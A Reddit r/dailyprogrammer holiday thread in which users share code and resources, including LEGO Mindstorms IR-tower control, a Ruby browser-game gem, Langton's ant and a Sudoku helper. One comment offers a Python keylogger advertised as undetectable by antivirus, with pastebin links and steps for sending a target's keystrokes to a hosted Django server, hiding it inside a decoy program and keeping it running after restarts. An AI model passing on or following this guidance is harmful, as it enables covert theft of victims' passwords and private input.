r/dailyprogrammer • u/Coder_d00d 1 3 • Dec 22 '14
[Weekly #18] Holiday Code - a time of sharing
Happy Holidays everyone (lots of holidays)
This time of year is known for its sharing of gifts with others. In our community we often share code through the idea of open source. The two can work well. So for this week share some code. Anything. It can be useful, a neat trick, a go to design of code you find you use a lot. Or you can point people in the direction of some favorite web spots you check for code.
Have a great Holiday season everyone && Happy New Years (++Year)
73
Upvotes
13
u/[deleted] Dec 22 '14
A lot of beginners to SQL seem to ask "Is there a code academy but for SQL?". The answer used to be no, but I stumbled upon one that looks quite promising :
http://www.sqooled.com/
It's only recently come back online (after a year hiatus) so expect some bugs/weird behaviour.
10
u/G33kDude 1 1 Dec 22 '14 edited Dec 25 '14
FARCX
-BrickVista
I've recently "inherited" one of these Red Rover setups, including a LEGO Mindstorms RCX and Windows 98 desktop. The software used to run the RCX is more or less only Win98 compatible, and operates over serial.
It is possible to communicate with the RCX using a USB model of the infrared communications tower (IR tower), but there was only official support for Win98-WinXP. The drivers for the USB tower still work in Win7, but only on 32-bit systems. Serial communications, however, still work even in newer 64-bit windows platforms.
LEGO released their latest (third) model in the Mindstorms line of products, known as the EV3. The EV3 uses an ARM9 processor, which runs an open-source custom linux kernel. It has a USB port, and an SD card slot. The EV3 will conveniently boot any compatible OS it detects on the inserted SD card.
Ralph Hempel, a well known "hacker" in the Mindstorms world has started a standard Debian distribution for use with the EV3, named ev3dev, which he maintains with help from an outstanding community. This allows you to do just about anything the Raspberry Pi can, if it were slower and only had 64MB ram.
An interesting feature of the Linux kernel is that for a long time it has had built in support for the USB IR tower, and since the EV3 can now run a (slightly modified) standard Linux kernel, that means the drivers to run the IR tower are already available, and on the EV3!
With my knowledge of this fact, I set out to be able to control the RCX from the EV3, through its USB port using the RCX USB IR tower. I have been rather successful in this, as is evidenced by a video I took last week.
Since then, I've been working on a new website design for Red Rover with the help of a friend of mine. Of course, the EV3 is not well suited for a real web server, but the advantage of running a real Debian OS on it is that my code should be portable between most Debian systems, which includes Ubuntu server (which I intend to use for the webserver).
The code I used in the video (found here) is done in python, but I've been successful in controlling the IR tower from PHP. I intend to use PHP and NGINX to power the website in this "venture", as they are both fairly standard and well understood web technologies. It may, however, be advantageous to use a more flexible webserver such as node.js
Edit: I do intend to release the code for the PHP website, but it's not at a point where I feel comfortable releasing it yet. This is a multiple-person project. For now I just have the python version up.
GYRO BOT
I've got more EV3 related projects going on right now. I've just put up a new video of one of them, Wiimote controlled Gyro Bot .
4
u/[deleted] Dec 24 '14 edited Dec 24 '14
Pure Python keylogger (not detectable by antivirus) and private web server to view logs
code for keylogger: http://pastebin.com/cD9LmS3F code for django webserver: http://pastebin.com/UfArQhQc
To use this, create a django project and host it on a service like heroku, then put that log function in your views. Make a log model like this:
Once you have the django server set up, replace 'your_base_url.com in the post_thread function of the keylogger with the URL of your hosted django site. Now get the bot running on the target computer one way or another, and it will send its keypresses to your server where you can log-in using the django admin panel and nicely see your logs separated by windows system name and IP address.
OnKeyboardEvent() function can be improved depending on what you want. It is currently only sending a post request once the target has typed 10 characters, but you can decrease/increase this or just make it send a post request with every keystroke.
The keylogger can be wrapped in a decoy program and injected upon running, and there is also a method of running the program even when the target computer restarts without editing the registry, but youll have to figure that out on your own. Hope it helps you.
3
u/[deleted] Jan 02 '15
The only useful thing I've written, an autohotkey script to log me in and out of steam quickly. http://www.reddit.com/r/dailyscripts/comments/1j520w/autohotkey_log_of_steam_quickly/
5
u/sadjava Dec 22 '14
I noticed a lot of beginners post on other subreddits questions about the obligatory card game and rock-paper-scissor game (admit it, we've all written those), so I thought "how would I do it as an 'experienced' programmer?" This is the result, and I'll have to admit that I had a little fun working on it.
My gosh, I liked this line of code a lot.
Anyways, what other beginner programs should I work on as an 'experienced' programmer?
2
u/thestoicattack Dec 22 '14
Here's a gist of a bash script I wrote in /r/bash to automatically upload gists:
https://gist.github.com/anonymous/99fb5b454d0dec3cf816
2
u/Godd2 Dec 23 '14
Here's a Ruby gem you can install to write games in Ruby that run in the browser: https://github.com/nicklink483/dare
Here's a live demo of a game written in Ruby: http://nicklink483.github.io/dare/tutorial.html
And here's a little tutorial on how to make that game: https://github.com/nicklink483/dare/wiki/Ruby-Tutorial
2
u/Reverse_Skydiver 1 0 Dec 24 '14
Here's my implementation of Langton's ant in Java. Includes a colour version and the classic black & white version (two different methods within the same class).
2
u/[deleted] Dec 28 '14 edited Jun 17 '23
use lemmy.world -- reddit has become a tyrannical dictatorship that must be defeated -- mass edited with https://redact.dev/
2
u/[deleted] Feb 17 '15
Not the most impressive thing in the world, but eh, I'm a beginner. I wrote myself some math functions in Python, anyone can feel free to use what they wish.
http://hastebin.com/acimehibew.py
3
u/king_of_the_universe Dec 23 '14
Java:
Eventually you'll start using those
mainmethod args, and before you dive into fiddling, just wrap the args into an instance of this short class for comfortable use:https://gist.github.com/God--owner-of-the-universe/b1c3960b39d816d43bbf
It's relatively new and could use extension/improvement. But what's there immensely helps. E.g. now you can make evaluation of the args so concise that you can inline it into e.g. constructor calls.
It is entirely null-safe (arguments and return values).
1
u/[deleted] Dec 25 '14
Python Albert school data scraper
http://pastebin.com/r9KD4t4B
Made this bot recently that scrapes the entire Albert class registration system for all school class data then dumps it as JSON.
Structure is schools->departments->courses->classes
If your college uses Albert and you want all its school class data, simply set your netid and password in the code, then change the URL for the Albert log in page. Selenium WebDriver is required, can be installed by running 'pip install selenium'. Also make sure you have firefox installed on your system.
1
u/mikey42 Dec 26 '14
http://exercism.io/
A great site for trying out problems, and especially giving/receiving code feedback!
1
u/fourhoarsemen Dec 27 '14
I know I'm pretty late to this, but I made this that I'd like to share. You may have seen me post (read "spam") this around /r/Python and /r/compsci, but nonetheless I still think it's an easy bit of code to read either straight from the source code or through the matching walkthrough.
1
u/cbasschan Jan 05 '15 edited Jan 05 '15
Greetings redittors. It is often asserted that using fread to read a whole block of bytes is faster than reading bytes one at a time using fgetc (or getchar, in the case of stdin). Submitted for your approval is a test.
You can build the two programs like so:
To run them:
Please time both of these and tell me if one version is significantly faster than the other. A few repeats might be a good idea.
1
u/The-Mathematician Jan 07 '15 edited Jan 07 '15
Python 2.7
Here's a little tool I made when I was having trouble with my Sudoku solver. It will take a list (which contains any number of lists and so on) and return a string with an optional separator. Kind of like a ' '.join(l) but for lists of lists. I used it in my sudoku solver to check if it was solved.
And here is it in action:
I'm not really good at programming so if you have suggestions on how to make this more efficient, it would be appreciated. In particular:
and the whole concept of 'depth' exist only to remove trailing separators.
0
u/[deleted] Dec 22 '14
[deleted] — view deleted comment
0
u/[deleted] Dec 31 '14
[deleted] — view deleted comment